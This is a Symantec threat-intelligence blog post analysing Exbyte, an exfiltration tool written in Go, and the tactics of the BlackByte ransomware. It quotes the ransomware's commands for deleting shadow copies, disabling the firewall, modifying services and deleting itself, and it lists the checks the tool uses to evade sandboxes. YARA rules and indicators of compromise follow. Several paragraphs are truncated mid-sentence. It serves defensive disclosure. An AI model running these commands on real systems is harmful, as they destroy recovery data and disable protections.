Threat Hunter Team
Symantec

POSTED: 21 OCT, 2022 | 8 MIN READ | THREAT INTELLIGENCE

TRANSLATION: 日本語

SUBSCRIBE FOLLOW

Exbyte: BlackByte Ransomware Attackers Deploy New Exfiltration Tool

Exbyte is the latest tool developed by ransomware attackers to expedite data theft from victims.

Symantec's Threat Hunt
ransomware (Ransom.B
their attacks. The malwa
victim's network and up

BlackByte is a ransomware-as-a-service operation that is run by a cyber-crime group Symantec calls Hecamede. The group sprang to public attention in February 2022 when the U.S. Federal Bureau of Investigation (FBI) issued an alert stating that BlackByte had been used to attack multiple entities in the U.S., including organizations in at least three critical infrastructure sectors. In recent months, BlackByte has become one of the most frequently used payloads in ransomware attacks.

Inside Exbyte

The Exbyte exfiltration tool is written in Go and designed to upload stolen files to the Mega.co.nz cloud storage service.

On execution, Exbyte performs a series of checks for indicators that it may be running in a sandboxed environment. This is intended to make it more difficult for security researchers to analyze the malware. To do this, it calls the IsDebuggerPresent and CheckRemoteDebuggerPresent APIs. It then checks for the running processes from the following applications:

- MegaDumper 1.0 by CodeCracker / SnD
- Import reconstructor
- x64dbg
- x32dbg
- OLLYDBG
- WinDbg
- The Interactive Disassembler
- Immunity Debugger - [CPU]

It then checks for the following anti-virus or sandbox-related files:

- avghooka.dll
- avghookx.dll
- sxin.dll
- sf2.dll
- sbiedll.dll
- snxhk.dll
- cmdvrt32.dll
- cmdvrt64.dll
- wpespy.dll
- vmcheck.dll
- pstorec.dll
- dir_watch.dll
- api_log.dll

- dbghelp.dll

This routine of checks is quite similar to the routine employed by the BlackByte payload itself, as documented recently by Sophos.

Next, Exbyte enumerates all document files on the infected computer, such as .txt, .doc, and .pdf files, and saves the full path and file name to %APPDATA%\dummy. The files listed are then uploaded to a folder the malware creates on Mega.co.nz. Credentials for the Mega account used are hardcoded into Exbyte.

Exbyte is not the first custom-developed data exfiltration tool to be linked to a ransomware operation. In November 2021, Symantec discovered Exmatter, an exfiltration tool that was used by the BlackMatter ransomware operation and has since been used in Noberus attacks. Other examples include the Ryuk Stealer tool and StealBit, which is linked to the LockBit ransomware.

BlackByte TTPs

In recent BlackByte attacks investigated by Symantec, the attackers exploited the ProxyShell (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) and ProxyLogon (CVE-2021-26855 and CVE-2021-27065) vulnerabilities in Microsoft Exchange Servers to gain initial access.

Symantec has observed attackers using AdFind, AnyDesk, NetScan, and PowerView prior to deploying the ransomware payload.

Recent attacks have used version 2.0 of the BlackByte payload. On execution, the ransomware payload itself appears to download and save debugging symbols from Microsoft. The command is executed directly from the ransomware:

powershell -command "(New-Object Net.WebClient).DownloadFile('http://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/11D60DB07BA7433B923F49 'CSIDL_SYSTEM_DRIVE\systemdata\ntkrnlmp.pdb')"

The ransomware then checks the version information of ntoskrnl.exe and then creates a service with the following details:

binPath = C:\systemdata\generalate

displayName = AAAAAAAAAAAAAA!!!

BlackByte then proceeds with the remov
to bypass EDR products. This functionali
and it closely resembles the techniques

BlackByte uses VssAdmin to delete volume shadow copies and resize storage allocation:

cmd.exe /c start vssadmin.exe Delete Shadows /All /Quiet

vssadmin Resize ShadowStorage /For=K: /On=K: /MaxSize=401MB

It then makes the following service modifications:

sc create ODosTEmONa binPath= CSIDL_SYSTEM_DRIVE\systemdata\generalate type= kernel

sc.exe config RemoteRegistry start= auto

sc.exe config Dnscache start= auto

sc.exe config SSDPSRV start= auto

sc.exe config fdPHost start= auto

sc.exe config upnphost start= auto

The ransomware then modifies firewall settings to enable linked connections:

netsh advfirewall firewall set rule "group=\"Network Discovery\" " new enable=Yes"

netsh advfirewall firewall set rule "group=\"File and Printer Sharing\" " new enable=Yes"

cmd.exe /c netsh advfirewall set allprofiles state off

Finally, BlackByte injects itself into an instance of svchost.exe, conducts file encryption, and then deletes the ransomware binary on disk:

cmd.exe /c ping 1.1.1.1 -n 10 > Nul & Del CSIDL_WINDOWS\rdac.exe /F /Q

CSIDL_SYSTEM\svchost.exe -s 27262842

Emerging Force

Following the departure of a number of major ransomware operations such as Conti and Sodinokibi, BlackByte has emerged as one of the ransomware actors to profit from this gap in the market. The fact that actors are now creating custom tools for use in BlackByte attacks suggests that it may be on the way to becoming one of the dominar

Protection/Mitigation

For the latest protection updates, please

Yara Rule

```
rule blackbyte_exfil

{

    meta:

     copyright = "Symantec"

     family = "Alias:ExfilTool"

     description = "Detects exfil tool used by BlackByte ransomware"



    strings:

     $data_str1 = {41 B9 04 00 00 00 66 66 0F 1F 84 00 00 00 00 00

                43 0F B6 84 02 A0 00 00 00 41 30 00 49 FF C0 49

                83 E9 01 75 EB 49 83 EB 01 75 D5 40 B7 09 48 8D}

     $data_str2 = {32 10 05 AF 59 2E 0D 38 32 59 C0 99 E8 A5 87 CB}

     $data_str3 = "@BCEFHJLNPRTVY" ascii



    condition:

     all of ($data_str*)

      and filesize > 2MB and filesize < 3MB and

      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550)

}



rule blackbyte_exfil_unpacked

{
```

```
    meta:
     copyright = "Symantec"
     family = "Alias:ExfilTool"
     description = "Detects unpacked exfil tool used by BlackByte ransomware"

    strings:
     $str1 = ").Login"
     $str2 = ").NewUpload"
     $str3 = ").CreateDir"
     $str4 = ".PreloginMsg"
     $str5 = ".UploadCompleteMsg"
     $str6 = ").UploadFile"
            $str7 = {FF 20 47 6F 20 62 75 69 6C 64 69 6E 66 3A 08 02
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                              07 75 6E 6B 6E 6F 77 6E 00 00 00 00 00 00 00 00}
            $c1 = {44 24 68 44 31 C2 88 50 10 0F B6 54 24 56 44 0F}
            $c2 = {FB 48 89 F7 4C 89 C6 E8 54 ED F6 FF 4C 8D 43 01}

    condition:
     all of ($str*) and ($c1 or $c2)
      and filesize > 8MB  and
      (uint16(0) == 0x5A4D and uint16(ui
}
```

Indicators of Compromise

If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.

SHA256 file hashes:

3fb160e1770fafeedff2d77841bf02108c25cca4cb6d77e3fbf759077f356b70 - Infostealer.Exbyte

0097b8722c8c0840e8c1a4dd579438344b3e6b4d630d17b0bbe9c55159f43142 - Infostealer.Exbyte

aeb1b789395357e8cc8dbd313b95f624fc03e037984040cd7c1704775bfb4bd2 - Infostealer.Exbyte

477382529659c3452020170d8150820210ab8cbdc6417a0f0ac86a793cd0d9b4 - Ransom.Blackbyte

1df11bc19aa52b623bdf15380e3fded56d8eb6fb7b53a2240779864b1a6474ad - Ransom.Blackbyte

44a5e78fce5455579123af23665262b10165ac710a9f7538b764af76d7771550 - Ransom.Blackbyte

eb24370166021f9243fd98c0be7b22ab8cbc22147c15ecef8e75746eb484bb1a - Ransom.Blackbyte

f361bafcc00b1423d24a7ea205264f5a0b96011e4928d9a91c2abc9911b433a1 - Ransom.Blackbyte

20848d28414d4811b63b9645adb549eed0afbd6415d08b75b0a93fbf7cfbf21f - Ransom.Blackbyte

754ac79aca0cc1bcf46000ef6c4cbe8bebeb50dae60823a1e844647ac16b6867 - Ransom.Blackbyte

f157090fd3ccd4220298c06ce8734361b724d80459592b10ac632acc624f455e - AdFind

794a5621fda2106fcb94cbd91b6ab9567fb8383caa7f62febafcf701175f2b91 - AdFind batch script

572d88c419c6ae75aeb784ceab327d040cb589903d6285bbffa77338111af14b - NetScan

efc2125e628b116eb0c097c699e473a47a280dfcd3e02cada41bdf6969600b41 - PowerView

4877ff7c3c2abd349646db1163814811e69b36374e289f5808cc794113ef55ae - AnyDesk

Network:

hxxp://gfs270n392[.]userstorage.mega

h5NbxGHdNAToANCzjKK8Z6kdCiqshx

hxxp://gfs262n303[.]userstorage.mega.co[.]nz/ul/f_re9dP6f9G8GAJhd3p43aJnvHnw7rCHLumJV-MXDlaL2RaSQQrPH1BYStJHWy4JkPgJ13KczuiJoOl0iwjxDA/15204352

hxxp://gfs206n171[.]userstorage.mega.co[.]nz/ul/9Y39ts0Mp6xtige0-wHhmMG74YgASgG1UhZYfzl_fh8TN_TQo1gSa92TNe_HTBxvOTirA0yfouEE74-Y3Cy1Tw/81264640

hxxp://gfs206n108[.]userstorage.mega.co[.]nz/ul/aX72PSSxERHKJwLdWCCOmsJQRioP7N6kcAltRRTbAgwGtNzcsdYa_

hxxp://gfs208n174.userstorage[.]mega.co.nz/ul/z6nR8uTohiga4QeILJsXcAWlt05Vhu2XiDlne_Qag-rgAmZkK2aZMvYrWC5FHRebBpMoxYZEEqSStHyvU6SnWQ/6815744

hxxp://gfs214n129.userstorage[.]mega.co.nz/ul/wVJUlrn9bMLekALaMZx_o5FeK-U1oG9q4CWqHGNslUnVY2-BgJcEUxIJX9O4fXEWkt-x80LeAr7Jz9gXTCwzDA/2752512

hxxp://gfs204n140.userstorage[.]mega.co.nz/ul/_Amu75VCTCu6BgIdFs8ZgHPyHqBFm5Cj8bV1xkM5QFt2T0x-9C_KlHQAQ3kX4bzj8jgmyK9-dlbmx9ef6Y9JDw/1966080

About the Author

Threat Hunter Team
Symantec

The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.

Want to comment on this post?

We encourage you to share your thoughts on your favorite social platform.

POSTED: 22 OCT, 2024 | 5 MIN READ

Exposing the Danger Within: Hardcoded Cloud Credentials in Popular Mobile Apps

POSTED: 17 OCT, 2024 | 3 MIN READ

Ransomware: Threat Level Remains High in Third Quarter